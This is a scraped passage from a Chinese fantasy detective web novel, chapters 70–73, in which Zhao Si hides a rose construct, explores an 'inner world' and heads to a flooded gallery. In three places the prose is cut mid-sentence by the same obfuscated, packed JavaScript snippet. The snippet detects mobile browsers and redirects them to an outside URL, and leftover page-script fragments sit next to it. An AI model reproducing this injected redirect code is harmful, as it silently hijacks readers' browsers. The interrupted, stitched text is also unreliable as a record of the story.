如果真没办法,那……只能毁了它! 赵四的大脑快速转动,很快下了决定。 他刚要让MK3000开商城,一道声音阻止了他的下一步行动。 “看来我来的正是时候——” 这声音很轻,很急,带着点熟悉的活泼。 赵四转头。 阿云正趴在窗台上,从窗户缝里探进来一丝棉絮一样的云丝。 MK3000:【来的不是本体,是分身!】 没时间说别的了,赵四确认了来者的确是阿云后,简短问道:“你可以吗?” 阿云笑嘻嘻地说:“没人比我更可以了,大侦探,你要是信任我,这东西我可以先替你收着……哎?” 赵四一把薅住阿云的云絮,把她怼到了玫瑰前,“带它走!” 阿云还没来得及回答,走廊里已经响起了急促的脚步声—— 70.第70章 玫瑰战争28 没时间考虑了。 阿云呼啦一下扑到玫瑰上,云雾一卷,那朵红得发黑的夜莺就被她整朵吞进了肚子里。 云雾翻涌了一瞬,像是在努力消化什么,然后她直接飘到病床床头柜前,云雾凝成的一只大手蜷缩着手指,用指节轻轻敲了敲柜门。 笃、笃笃、笃笃笃。 哪怕情况紧急,那节奏也控制得极好,不紧不慢,一下一下,和当初阿云敲事务所大门时一模一样。 一套标准开门流程走完,低矮的柜门上已经泛起了熟悉的涟漪。 普通的白色板材像水波一样荡开,然后,一扇缩小版的事务所大门出现在赵四眼前。 深色的木门尺寸小得像个精致的模型。 赵四在心里“哇哦”了一下,【这也行?】 MK3000的语气里也带着点惊叹:【看来青阳渡的事务所并不是固定在表世界某个地方的,它的门可以在任何地方打开。】 就是不知道这样干有没有什么限制了。 召唤完门的阿云没废话。 她一把拉开门,压缩了□□积,整团云缩成一道细细的烟,就急匆匆往门里钻。 跑到一半,她忽然又想起什么似的缩回来。 云雾大手在门里掏啊掏,没几秒就唰地一下从门里掏出一支玫瑰,啪地丢在病床上。 “给你的!长得和那支差不多,凑合着用!” 赵四眼疾手快,一把捞起那支玫瑰的同时,另一只手把桌上那些沾血的纱布、拆下来的绷带、用过的棉签卷成一团,精准地塞进还没关严的门缝里。 “哎——你——!” 阿云被砸了个正着,脑袋上顶着一团医疗垃圾,只来得及喊出一句“你怎么什么都往事务所里丢啊”,那扇缩小版的事务所大门就“啪”地一声关上了。 柜门恢复了原样。 白色的板材在灯光下安安静静的,像什么都没有发生过。 出于谨慎,MK3000已经扫描完了赵四手里的那支玫瑰。 【虽然品种还是夜莺没错,但是这是真的普通玫瑰。】 没有能量反应,没有虚沼残留。 就是一支普普通通的、顶多特别贵的玫瑰花。 赵四点点头,把那支玫瑰放回办公桌上,然后躺回床上。 他还不忘让MK3000作场外指导,把衣角、袖口、被子的褶皱都摆得和之前差不多。 MK3000指挥着他把被子往上拉了拉,又把枕头挪了个角度,最后满意道:【行了,看不出破绽。】 当然了,其实也就是一时糊弄。 少了的那些医疗用品一时半会也没法补齐,只能容后再说了。 系统的话音刚落,门被推开了。 沈恕第一个冲进来,身后跟着一整队全副武装的行动队员。 进门后,沈恕比了个手势,所有人默契地散开。 他们分成两人一组,紧张有序地快速排查了整个医疗室。 结果是无异常。 赵四听见有人松了口气。 “青阳顾问!”小七从沈恕背后探出头来,脸上写满了紧张,“我们检测到这里有高浓度的虚沼能量反应!您没事吧?” 赵四靠在枕头上,一脸刚被吵醒的茫然:“……这里?” 他看了看四周,没说什么。 小七低头看了看捧在手里的检测仪,指针稳稳地停在零位,一动不动。 “奇怪……”他挠了挠头,“明明刚才警报响得震天响……” 沈恕没说话。 他的目光从办公桌上那支玫瑰上移开,落在赵四脸上,停了一瞬。 见赵四已经敛去了茫然、恢复了镇定,沈恕收回目光。 他对身后的队员说:“收队。回去复检设备。” 行动队员们面面相觑,但还是服从命令退了出去。 小七走在最后,回头看了赵四一眼,欲言又止,最终还是跟上了队伍。 沈恕没走。 他站在病床边,低头看着赵四。 “你身上的伤怎么样了?” 赵四反问回去:“我昏倒后发生了什么?” 沈恕沉吟了片刻,用简洁的语言给他描述了一下当时发生的事。 他说的和MK3000说的并无区别——在车上突然晕倒,身上凭空出现伤口,被紧急送到医疗室,检查后发现没有大碍,只是人一直没醒。 赵四耐心听完,只是说:“我得好好想想。” 沈恕看着他,那目光中有沉甸甸的重量,像是在等着什么。 赵四不闪不避地和他对视。 最后是沈恕稍显不自在地侧开头。 “你收拾一下,待会儿我送你回去。” 赵四没有拒绝。 于是沈恕先离开了,应该是去收拾残局。 过了片刻,他带着小七再度拐回医疗室,敲了敲门,示意赵四可以走了。 一路上车里保持着诡异的沉默。 小七几次想开口问什么,都被沈恕从后视镜里投来的目光堵了回去。 到了楼下,赵四下车前,沈恕握着方向盘,突兀开口:“青阳。” 赵四停下动作,转而看着他。 沈恕的目光落在方向盘上,像是在斟酌措辞。 他张了张嘴,又看了后视镜里的小七一眼——小七正低着头假装在看手机。 他把话咽了回去。 “没事。”他说,“早点休息。” 赵四没有立刻推门下车。 他靠在椅背上,想了想,然后开口:“上去坐坐?有样东西给你们看。” 沈恕从后视镜里看了他一眼。 小七也抬起头,眼睛亮了。 三分钟后,三个人坐在302的客厅里,面前摆着一只包裹。 “这是前几天收到的。没有寄件人,没有地址,就这么凭空出现在我家门口。” 小七凑近了看,眼睛瞪得老大:“这……这是什么?” 赵四把包裹打开,露出那张黑色的硬卡纸,金色的字在灯光下泛着幽幽的光。 小七看完上面的字,倒吸一口凉气。 “青阳顾问,这、这是谁寄的?” 赵四摇头:“不知道,但它出现的太巧合了,我怀疑这个包裹和这几起案子有关。” 而且那朵玫瑰的存在,几乎是在明示梁焕晨必然参与其中。 或者……还有那个老曲。 小七的表情从震惊变成凝重,又从凝重变成振奋。 他拍着胸脯说:“青阳顾问您放心!我和队长绝对会如实上报!这个线索太重要了!” 沈恕点了点卡片,“我能拍照吗?” 赵四示意请便。 于是沈恕拍完照后,操作了几下手机,把照片给事务官那边发了过去。 “那边会有人跟进这个包裹的事,我和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360433|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小七先回署里,跟署长做个汇报。” 赵四点点头,送他们到门口。 小七走在最后,回头冲他挥了挥手:“青阳顾问,您好好休息!明天见!” 门关上了。 赵四站在玄关,听着脚步声渐渐远去。 MK3000:【他们在怀疑你。】 赵四看的很开:【这不是理所当然的吗。】 医疗室那一出,不管怎么解释,都是在消耗他和事务署之间的信任。 再加上两次没有给出原因的昏迷,和整个查案过程中若有若无的隐瞒……他的可疑程度已经拉满了。 这份快递刚好给出去,就当是自己给事务署出示的诚意,表明自己还在和事务署正常合作。 至于他们怎么解读,那就是他们的事了。 思索完事务署的事,赵四转身,走向最开始来到这个世界后,给了他惊喜的那面镜子。 他抬手,按在镜面上。 镜面泛起涟漪,一圈一圈向外荡开。 他一步跨了进去。 事务所里,壁炉的火正烧着,暖橙色的光洒满了整个房间。 阿云已经等在那里了。 她没飘在半空,而是堆在了沙发上。 白色的雾气在沙发垫上铺开,边缘微微卷曲,像是融化的棉花糖。 看见赵四进来,她立刻顶着那朵玫瑰飘了起来。 那朵夜莺稳稳地立在她头顶,花瓣红得发黑,衬着白色的云雾,格外扎眼。 “你可算回来了!” 赵四在沙发上坐下,给自己倒了杯茶。 茶水还是热的,大概是阿云提前烧好的。 赵四没做什么开场白,直接开门见山道:“那朵玫瑰,是不是构造体?” 阿云飘到他面前,云雾翻涌,像是在笑。 “聪明啊,不愧是青阳严选。” “那你要不要猜猜,这是什么类型的构造体?” 赵四端着茶杯,没有立刻回答。 他想起在那片空间里,握住花苞时涌进心里的那些情绪。 虽然很多、很满,但是不可否认的是——那里面没有一丝坏的东西。 希望、爱、期待,都是正面的情绪。 所以,答案已经很明显了。 “正面情绪的集合体?”他说。 阿云的光亮了一下。 “对啦!”她的语气里带着点雀跃,“这就是完全由正面情绪构成的构造体。” 她的声音变得认真起来。 “正面的情绪很难诞生出有个人意识的情绪构造体,那些纯粹的正面反应是很难得的东西,它们太散又太轻,根本聚不起来。” 所以它们不会变成人,不会变成云,不会变成动物,不会变成任何有形状的东西。 阿云将那朵夜莺轻轻放在赵四身边。 她的声音放得很轻,像是怕惊扰了什么。 “它们只会化成一朵朵玫瑰,开在有识生灵的心灵里,守卫着心灵的属地。” “你带回来的那朵,正是被人从心灵中摘下的,只是……” 赵四没有碰玫瑰,他打量着所谓“心灵的守卫”,“这朵有什么问题?” 阿云飘了飘,几缕云雾凌空描摹了一下玫瑰,又收回去。 “这朵玫瑰太怪了……这样,拿你能听懂的话来说吧。” “它是我见过的,物理意义上最重的玫瑰。” 71.第71章 玫瑰战争29 一朵花的重量是多少? 也许很轻,但是阿云说的显然不是表世界的那套重量计量方式。 她飘到那朵夜莺旁边,托住花萼的位置,将花向赵四的方向送了送。 “你摸摸看。” “我摸不了。” “啊?为什么?” 赵四抬手点了点自己的太阳穴示意道,“可能是因为我能接收到这朵花里蕴含的情感……上次这里面的感情,差点把我的脑子炸掉。” 阿云托着花萼的雾气微微颤了一下。 她下意识把花往自己那边收了收,像是怕那朵安静的玫瑰突然暴起伤人似的。 然后她又觉得自己这反应有点好笑,轻咳了一声,把那朵夜莺重新放回桌上。 这次她放下玫瑰的地方,和赵四隔着大半张桌子的距离。 确认花放好后,阿云唰的一下接近赵四。 “你说你能接收到里面的情感……真的假的,什么感觉?” 赵四想了想,给出了一个答案。 “像是有人把一整片海的海水硬要往一个手掌大小的杯子里灌。” “那你能感觉到重量吗?不是那种物理意义上的——等等,好像也确实是物理意义上的……哎呀,我都快被你搞糊涂了。” 赵四打断阿云的碎碎念,“我知道你的意思,但是我感觉不到。” 情感是情感,重量是重量。 对赵四来说,它就是一朵花,轻飘飘的,拿起来不费力气。 阿云沉默了。 她在半空中飘了两圈,身体内部又因为思考而开始了电闪雷鸣。 那些细小的光在她云雾般的身体里窜来窜去,像一团被关在笼子里的闪电。 最后电闪雷鸣停了,转圈的阿云也停下来。 “大侦探,你知道这意味着什么吗?” 阿云的声音变得认真起来,少了平时那股活泼劲儿:“你触碰玫瑰的时候,感觉到的不是重量,是内容。” “我们从哪里来、由什么生成、具体组成成分是什么……这些东西,按理说不应该有除我们构造体之外的存在能读取。” 她顿了顿,云雾翻涌了一下。 “你能读取玫瑰,就能读取更多。谁也不能保证,到了最后,‘情绪构造体’对你来说,会不会变成不再有任何秘密的东西。” 说完,她又烦躁地在原地转了几圈。 这次她转得更快了,云雾边缘都带起了一阵细微的风,吹得壁炉的火焰微微鼓动着。 最后她咬咬牙,像是下了什么决心。 她凑近赵四,伸出一段“胳膊”来递到赵四面前。 “你试试?” 赵四握住送上门来的构造体,结果是无事发生。 他眨眨眼,看向阿云。 阿云只考虑了一下,就毫不犹豫的切断了自己的一部分云雾,将之固化成一朵大而蓬松的白棉花。 “再试试!” 在阿云的催促中,赵四握住了这团白棉花。 指尖触到的瞬间,他感觉到一种奇异的温度,那温度从掌心渗进来,像是握着一团刚晒过太阳的棉絮。 然后,什么都没有了。 没有画面,没有声音,没有情绪,没有任何信息。 那朵白棉花安安静静地躺在他掌心里,就是一朵普普通通的棉花。 赵四看向阿云,阿云也看着他。 “怎、怎么样啊??” “至少现在,我什么都没感觉到。” 阿云又凑近了一点,几缕雾气垂下来,碰了碰赵四握着棉花的那只手,像是在确认什么。 确认完之后,她往后退了退,整团云都放松下来,连边缘的光都从紧绷的白变成了柔和的粉。 “呼——吓死我了,我以为你真的什么都能读呢。” 所以结论是赵四只能读玫瑰。 就是那种被压到极限后,变成固体的情绪。 正常的情绪构造体,赵四根本读不了。 赵四低头看了看掌心里那朵白棉花。 它还是那么软乎乎的,安静地躺在他手里,像一朵真正的云。 “这个怎么办?” 阿云想了想,伸手把那朵白棉花拿回去,往自己身体里一塞。 那团白棉花融进她的云雾里,像一滴水落进湖面,无声无息地消失了。 “送你了。”她说,“不过现在先放我这儿。等你哪天需要了,再来找我拿。” 赵四没问这东西有什么用,阿云也没提。 他们默契的跳过了这一茬,结束了今天的话题。 阿云飘到窗边,推开窗户。 不知道从哪里来的风从外面涌进来,把她的云雾吹得微微散开。 “我走了,有事就让一号联系我。” 看见赵四点头,她才化成一道细细的烟,消失在窗外的灰白雾气里。 赵四走到窗边,看着些灰白雾气在没有玻璃的阻挡的情况下,也没有涌进室内哪怕一点。 壁炉里的火还在烧,温暖的光在他身后铺开。 MK3000:【让我猜猜你现在在想什么。】 【说说看?】 【你在想,这屋子的窗户竟然真的能开。】 【哎,不愧是我的搭档。】 是的,赵四在想的的确是这件事。 从发现这片空间开始,他好像就走入了一个误区——他下意识地认为,这间侦探事务所是一个完全封闭的空间。 哪怕这里有门又有窗,但进门前需要做的敲门仪式,更像是将这里与外界隔绝开的手段。 至于窗户,外面灰白色的雾气把它衬得像个摆设。 但现在阿云的做法告诉他:他错了。 这里的窗户可以开。 而且不止能开,甚至这里还直通外界。 之前也说过,这家事务所所处的位置是表里世界之间。 那么—— 【如果门连接了表世界,那窗户对面是……“里世界”?】 MK3000接得很快:【要去看看吗?】 赵四弯起嘴角。 【走走走。】 也没什么前置准备,他直接从窗户翻了出去。 那一刻,世界颠倒了过来。 这不是比喻,而是事实。 上一秒他还在体验无绳蹦极的快乐,下一秒他就发现,其实他还在原处站着,只是站着的地方变成了虚空。 脚下没有实地,头顶没有天花板,前后左右全是灰蒙蒙的一片。 赵四本能地动了一下四肢。 没有用。 这里没有上下,更没有左右。 他的身体在空间中静止着,但他的感知在告诉他的大脑:兄弟,你在动。 往哪个方向? 不知道。 这样的环境简直天克以逻辑和理性构筑底层思维的MK3000。 【专员,你的位置正在变化……变化方向无法用物理参数描述。】 【说人话。】 【……我找不到北了。】 赵四没忍住笑了一声。 那笑声从他嘴里飘出来,竟然变成了实体化的文字,歪歪扭扭地浮在空气中,慢悠悠地飘向不知名的地方。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367809|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他盯着那几个字看了两秒,直到它们消失在灰白的雾气里,才收回目光。 他环顾四周。 灰白色的雾气从四面八方涌来,不浓不淡,刚好让他看不清太远的地方。 那些雾气和他在事务所窗外看到的一样,但现在他置身其中,才发现它们流动的方向很乱。 它们没有统一的朝向,没有固定的节奏,像是一群各走各的路、谁也不让谁的过客。 雾气们热热闹闹地互相打架,一时涌起,一时退下,偶尔撞在一起,就翻出一团更浓的白。 MK3000表示:【这儿还挺热闹。】 【怎么说?】 【能量扫描显示,你撞进了一个构造体的聚会,周围都是你看不见的构造体。】 赵四愣了一下,然后反应过来,不是他看不见,是他还没“认知”到它们。 他闭上眼睛,在脑海里把MK3000描述的能量分布图过了一遍。 那些光点散落在他周围,有的聚在一起,有的独自飘着,有的在缓慢移动。 他在心里给它们一个一个地打上标签:这里有,那里有,左边那个离他很近,右边那个正在往远处飘。 然后他睁开眼睛。 像是有人在揭幕,那些构造体一个个出现在他眼前,像是画面在逐帧渲染。 “是侦探!” “青阳先生!” “哦哦哦他看见我们了!” 叽叽喳喳的构造体们亲亲热热地围了上来。 赵四简直大开眼界。 这个像一团揉皱了的纸团,边缘还带着毛刺,在空气中一颤一颤的; 那个像缺了一角的星星,缺口处不断有细碎的光屑洒下来,落进雾气里就消失了; 还有一个,竟然长得很像某种实体化的香味。 它没有固定的形状,只是一团不断变化的颜色,从暖黄到淡粉到浅紫,像一朵正在变色的云。 直到这一刻,赵四才知道什么叫“实体化的气味”。 构造体们围着他转了几圈,七嘴八舌地问东问西。 有的问他怎么这么久没来,有的问他上次帮忙解决的事还记得吗,有的什么都不问,只是在他身边飘来飘去,像一群围着灯打转的飞蛾。 赵四一一应了,花了好一会儿才把这些热情的构造体们忽悠走。 确认四周没有更多能量反应后,他终于能腾出手来驯服自己的四肢了。 这次他注意到,他的动作不是由肌肉控制的——至少不完全是。 当他“想”要往某个方向移动的时候,身体就会往那个方向飘。 不是肌肉发力推动的那种移动,更像是世界在回应他的意愿。 他念头一起,灰白的雾气就自动往两边让开,在他面前铺出一条看不见的路。 那是一种只要想做就能做到一切的奇妙感觉。 赵四试了几次,很快就掌握了诀窍。 他想了想,往里世界深处飘去。 MK3000:【你有什么目的地吗?】 【有啊。】赵四一边给自己凹了一个仙风道骨的姿势,一边回答MK3000,【我得去看看里世界中对应的几个案发现场。】 还是说回那个事务署给了他七天的案件。 表世界的事故发生现场他都去看过了,收获了一个又一个谜语的同时,也收获了几个残留痕迹几乎一模一样的现场。 既然MK3000在几个现场都检测出了虚沼的痕迹,那么作为相互依存的表里世界,赵四认为不能孤立地看待问题。 表世界看不出问题来,那么所对应的里世界呢? 72.第72章 玫瑰战争30 赵四在里世界中穿行。 说是“穿行”,其实不太准确。 因为这里没有路,没有方向,更没有距离的概念。 在这里通行所适用的东西是虚无缥缈的“意念”。 譬如现在,赵四想的是去刘大勇的饭馆在里世界对应的位置。 然后? 然后他就自然而然的知道了那个地方在哪。 那个地方就像是自己出现在他面前似的,安静地悬在不远不近的地方,等他查看。 赵四慢慢靠近那里,在某一个未知的时刻,他眼前一黑又一亮,看到了一片空白。 没有构造体,没有雾气,甚至连里世界那种无处不在的灰白雾气在这里都暗淡了许多。 取而代之的是一种说不清道不明的东西。 非要形容的话,就像是有人用橡皮擦,把这里的“存在”擦掉了一块,生生留下了一个巨大的、形状不规则的空洞。 赵四仔细观察了一下,发现了什么。 【这洞的边缘是不是在扩大?】 MK3000通过精确观测,给出了一个肯定的答案。 赵四停留在空洞边缘,尝试着想了想作家张维安的家所对应的地方。 那里在表世界是一栋安静的小洋楼,赵四去时,门口种着两棵桂花树开的正盛,空气里总飘着甜腻的香。 而在里世界……它对应的位置也在这个洞里。 于海波的别墅、周明远的公司,甚至是梁焕晨的画廊…… 五个地点,五个在表世界相隔甚远的坐标,在里世界竟然都指向了同一个地方。 赵四低头看着那片深不见底的空。 空而深的最中心处,有什么东西在无声蔓延。 【这玩意……是虚沼在里世界的破口?】 那些残留的虚沼雾气在他脚边翻涌,像是被什么东西推着,不断地往洞里灌。 MK3000:【的确如此,但是……】 它反复验算着自己测算出的结果,最后得出了一个让人意外又不太意外的结论。 【专员,这个洞的中心有人为切割痕迹】 换句话说,这个洞根本不是自然形成的。 是有人先在这里捅了一刀,把里世界捅开了一个口子,随即虚沼才从这里露了出来。 MK3000捕捉到了那点不自然的人工痕迹,然后把放大后的图像投到赵四的专员面板上。 那些痕迹在放大后变得更清晰了,那些有规律的、重复的刻痕,像是被人反复撕裂的伤口,狰狞而残忍。 赵四问:【什么东西能捅出这种痕迹?】 MK3000也不太清楚,但是没关系,他们还可以摇人。 “一号?” “主人,我在。” 在念出“一号”两个字的时候,赵四感到手腕一沉,随后,助手一号出现在了他的手腕上。 ——这还随叫随到的,可谓是非常好用了。 赵四半蹲下来,伸出手,指尖悬在洞的边缘上方一寸处。 他没有碰,但他能感觉到从洞里涌上来的那股气息。 有什么东西在洞里堆积着、沉淀着、发酵着,慢慢地改变着这片里世界的生态环境。 “对这里,你有什么要对我说的吗?” 一号闪了闪,倒是很诚实。 “有哦,主人。这片地方的刻痕,您看长得像不像一朵玫瑰花?” 赵四:“……” 他低头看了一眼面板上那些放大后的图像。 确实像。 不是那种工工整整的、画在纸上的玫瑰,而是被人用手指在泥土上胡乱划出来的、歪歪扭扭的、但你能认出那是玫瑰的东西。 “主人主人!您知道玫瑰代表什么吗?代表爱情!代表忠诚!代表我对我主人的——” “说重点。”赵四面无表情地打断。 “哦。”一号乖巧地收了收语气里的雀跃,但还是没忍住补了一句,“主人您什么时候也送我一支玫瑰呀,我不要夜莺那种贵的,普通的就行——” “一号。” “好的主人!重点是,这些刻痕,是有人压缩了心灵玫瑰的力量,用那些力量做刀所造成的哦。” “又是玫瑰吗……” 话还没说完,洞里的气息突然变了。 在一人一统的眼皮底下,空洞的最中心突然多了一道刻痕,就像有什么看不见的人正拿着刻刀,对着那块地方狠狠一划。 那股一直缓慢蔓延的虚沼猛地一僵。 赵四脚下的地面——如果里世界这东西能叫“地面”的话——开始震动,不是物理意义上的震动,而是更底层的、存在层面的震颤。 那种震颤通过他的身体作传导,最终直接从身体内部炸开,像是有什么东西在他的存在根基上狠狠踹了一脚。 MK3000的声音骤然放大:【专员!虚沼能量正在以指数级暴涨——这不是自然波动,这是——】 赵四已经站起来了。 他没有等MK3000说完。 在里世界待了这几个小时,他已经学会了一件事,那就是在这里,念头比分析快。 他的直觉在告诉他:梁焕晨出事了。 不是“可能出事”,不是“将要出事”。 而是正在进行时。 洞的中心开始出现亮光,那光红得发黑,并顺着某种切割好的纹路蔓延。 只用了两三秒就像血管一样爬满了整个洞的边缘,然后猛地一缩,竟带着空洞整个像活物一样开始脉动。 一缩一胀,一缩一胀,像极了心跳。 赵四转身就走。 【三儿,在系统记录中,我在里世界呆了多久了?】 【将近八个小时!】 八个小时,原路赶回去的话,八成给梁焕晨收敛尸骨都赶不上热乎的了。 只要想到他现在回去,要从里世界赶回事务所,再从镜子通道回到302,然后从302赶到梁焕晨的画廊…… 赵四眼前那可真是一黑又一黑。 他叹了口气,开始折返赶路。 在路上,他的大脑高速运转着,试图梳理出一条可行的路线。 首先,要明确一点——在里世界,什么最重要? 是和物理常识相悖的行动规则,还是奇奇怪怪的情绪构造体们? 赵四的动作骤然停下,他想通了。 【都不是……最重要的,是“思考”。】 ——只要你想,就能做到一切。 他深吸一口气,闭上了眼睛。 他悬浮在灰白的雾气中,周围安安静静的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374541|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没有一个构造体存在。 赵四在想侦探事务所。 想那面神奇的镜子,想那些壁炉中跃动的火焰,想那个有自我意识的会客簿,想墙上挂着的画。 他把所有念头都压在这一个方向上。 不去想来时的路程,不去想物理法则,不去想“能不能做到”……他只想着那个地方。 他想,我要回去。 念头落地的瞬间,世界搅拌成了一副色彩混杂的画作。 那些灰白的雾气从他身边猛地退开,像潮水一样往四面八方涌去。 然后他看见了光。 暖黄色的、稳定的、像隧道入口一样的光。 赵四下意识的朝那里走了几步,才反应过来那是什么地方。 ——那是事务所的窗户。 这窗户从里世界朝事务所的方向看,就是一个正经的神秘隧道入口。 赵四大步走过去,从窗户翻进去的时候,膝盖磕在窗框上,疼得他龇了一下牙。 但他没时间管这个。 壁炉里的火还在烧,和离开时一模一样,仿佛他只是在窗边站了几秒。 赵四马不停蹄的从镜子回到了302。 下一秒,就被助手一号表盘上的光闪的捂了下眼睛。 “一号??” “主人主人主人!你终于回来了!你的手机——不对,是我——快被他们打爆了!” 救救孩子! 赵四一把按住手腕上的助手一号,刚要说什么,又一通电话打进来。 赵四低头看了一眼屏幕上的名字:白宁。 谁来着? MK3000还是靠谱的,它提示道:【事务署的高级事务官,之前事务署的署长让他给你查案提供帮助来着。】 赵四回忆起了这号人物,接起了电话。 白宁的声音从听筒里传出来,带着一种努力压制的急促:“青阳顾问,可算联系上您了。” “一个小时前,梁焕晨的画廊出现了高浓度虚沼能量反应,等级是——” 他顿了一下,像是在确认什么。 “最高级。沈队长已经带队过去了,目前还没有消息传回来。” 他顿了顿,又补了一句,语速比刚才更快了:“小七已经到您家楼下了,您现在可以去画廊吗?” 赵四已经走到了门口。 “我现在就去。” 他拉开门,走廊里的声控灯应声亮起。 车就停在楼下,发动机没熄,排气管突突地冒着白烟。 小七从车窗里探出头来,脸上的表情是赵四没见过的。 那不是平时那种阳光灿烂的笑,而是一种压着什么东西的凝重。 赵四拉开后座车门坐进去,安全带还没扣好,小七已经一脚油门踩了下去。 车子窜出小区,汇入车流。 此刻的小七展现出了高超的驾驶技术,一路上把开得又快又稳。 方向盘在他手里转得心应手,每一个变道都卡在缝隙里,每一次超车都贴着极限。 就算这样,他还有余裕跟赵四说明情况。 “这次画廊的虚沼反应和其他四次的都不一样,它是很特别的那种……哎呀,您去了就知道了,只要是梁焕晨亲手画的画,全都都在虚沼的干预下,变成真的了!” 73.第73章 玫瑰战争31 车子在艺术街区外围被拦下来的时候,赵四才真正理解了小七那句“特别不一样”是什么意思。 这里的警戒线拉了三层。 最外层是普通警力,中间是事务署的常规人员,最里面则是穿着特殊防护服的行动队员们。 每层警戒相隔数十米,经过层层检查后接近真正的事发地时,距离他们下车又过去了数分钟。 核心区域正是画廊,不过这里现在已经完全看不出之前的样子了。 赵四远远看到了一潭水。 一潭幽深的、安静的、黑得发亮的水。 它从画廊的地板上漫出来,吞没了充满艺术感的玻璃幕墙,吞没了有着石雕玫瑰的吊顶,吞没了大门边落地艺术灯的底座。 那水面平静得像一面磨花了的镜子,不甚清楚的映着空中的云,看不出任何波澜。 在凌晨的城市中央,它像一个不该出现在这里的梦境。 赵四站在警戒线外,看着那片不合常理的湖水。 “那些画,”他开口,声音被风吹得有些散,“你说变成真的了?” 小七站在他旁边,刚刚他离开了几分钟,再回来的时候已经换好了一身行动队的标准行头。 那身衣服把人从头到脚裹得严严实实,面罩后传出来的声音都发闷。 “不是全部,咱们的人冒险去确认过,只有梁焕晨亲手画的那些……” 那时候虚沼还没这么大,至少画廊的墙壁还露在外面。 打前站的行动队队员操控着无人机飞过去,拍过来的视频里,有一大部分画的画布都空了,只剩下画框孤零零的挂在墙上。 之后虚沼持续扩大,那个队员也只好收拾收拾东西,麻利的撤回了安全地带。 再然后? 小七也看向水面,“再然后湖里就开始长东西。” 赵四顺着他的目光看过去。 湖面上看起来什么都没有,但他已经知道了小七说的“长东西”是什么意思。 他能感觉到。 感觉到从水的深处传来的那种脉动……这像极了他在里世界那个空洞里感觉到的东西。 赵四放过了这个沉重的话题,他的目光越过湖面,落在不远处的人群上。 事务署的人围成一圈,中间站着一个人。 MK3000:【是那个花匠老曲。】 【是他啊……】 老曲还是穿着那件洗得发白的工装,低着头站在一群穿制服的人中间,活像被当场捕获的犯罪嫌疑人。 白宁站在他对面,手里拿着笔记本,正在问什么。 老曲的回答赵四听不清,但白宁眉头越皱越紧的表情已经说明了一切。 他们俩旁边,一个年轻的事务官举着手机。 MK3000拍了照传回专员面板,赵四看见照片上这支手机的屏幕显示着“梁焕晨”三个字和一连串未接通的红色标记。 赵四拍拍小七的肩膀,决定先过去看看。 他过去的时机挺好,正好听见白宁问了句什么,老曲的回答是三个字—— “不知道。” 白宁深吸了一口气,换了个问题。 老曲的回答还是三个字:“不清楚。” 白宁又换了一个。 老曲这次多说了几个字:“我就是个送花的。” 白宁的嘴角抽了一下,手里的笔记本被捏得微微变形。 他转头看见赵四,脸上的表情霎时间转成惊喜,像是溺水的人看见了浮木。 他喊道:“青阳顾问——” 赵四冲他点了点头,目光落在老曲身上。 老曲还是那副样子,低着头,不看任何人,像一截被遗忘在角落里的枯木。 但赵四注意到一个细节,他虽然一直在说“不知道”“不清楚”,但他的目光一直在往那片湖的方向飘。 这样的目光,赵四恰好见过。 ——那是老曲看向梁焕晨的目光。 他心中一动。 【梁焕晨在那片虚沼里?】 MK3000:【很有可能。】 【这人和梁焕晨之间不知道有什么具体关系……三儿,你查到什么了吗?】 【很遗憾,他们的交集很少,在现有资料中,老曲和梁焕晨就是正常的鲜花买卖关系。】 非要说的话,就是梁焕晨每次订购量都很大、频率也很高——这点看起来不太寻常。 赵四没有上去问,他知道现在问不出什么。 想从老曲这里知道相关情报,必须得等他自己愿意开口……或者制造一个让他不得不开口的时机。 他转身,示意小七带路往更里面走。 小七在前面走得很快,步子又急又稳,身上的小装备们在行走间发出细碎的声响。 一边走,他嘴里还在念叨着什么,像是自言自语,又像是某种不太虔诚的祈祷。 “……千万别发展到要往里填人的地步,上次那个谁进去之后出来,连自己叫什么都忘了,躺了三个月才认清楚老婆孩子,那也太惨了……” “求求了,玉皇大帝耶稣圣母太阳神的,不管哪位老人家有空路过,都来保佑保佑我们,这次可千万别出现虚沼生物……” “每次那些东西从边缘冒出来的时候,我们都得九死一生地拼命,上次老赵的胳膊就是被那东西咬掉的,装了个假的到现在还不太利索……” 赵四的脚步微微顿了一下。 “虚沼生物?”他问。 小七回头看了他一眼,面罩后面的表情有些复杂:“就是那些从虚沼里跑出来的东西啊,您见过的吧?” 刚问完,他反应过来。 之前在302的时候,还是面前这个人出手,把虚沼生物抓出来塞进他保温杯里的。 这可太见过了。 MK3000感觉有点不对劲。 【之前也没觉得奇怪,现在想想,这个世界官方力量对所谓的虚沼生物的认知,是不是哪里不对啊?】 